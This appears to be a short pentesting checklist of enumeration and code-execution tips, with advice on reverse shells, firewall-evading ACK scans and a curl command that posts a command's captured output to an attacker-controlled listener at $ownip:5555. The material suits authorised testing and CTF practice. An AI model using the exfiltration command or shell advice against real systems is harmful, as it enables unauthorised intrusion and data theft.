Enumeration
- You can read arbitrary files.
- Can you upload as well somehow?
- Via another port maybe?
- Determine interesting files for the given technique
- Perform blind enumeration for the OS
- Can you upload as well somehow?
- You have a port, but no clue what it does.
- Start Wireshark first
- Check the port number in the web.
- Try a default HTTP request.
- Add a very large input.
- Scan with ‑sA ACK scan to circumvent a possible firewall.
- You have a password:
- You have an image file
- Check exif
- Check steghide
Code execution
- You have a blind code execution which doesn’t always works?
- Try to determine if there are some bad characters.
- You doesn’t get a reverse shell.
- Try another port. Use a port which is open for inbound traffic.
- Are you using the correct architecture?
- You executed something on a server, which didn’t worked, but you don’t know why?
- Try to redirect STDERR and STDOUT.
- Try to redirect it and also print it to a local nc listener like this:
./wontworkonavictim &> /tmp/output; curl --data @/tmp/output http://$ownip:5555/
I am stuck
- HTTP
- Tried to search within directories with gobuster and/or with file suffixes?
- Other wordlists?
Leave a Reply
You must be logged in to post a comment.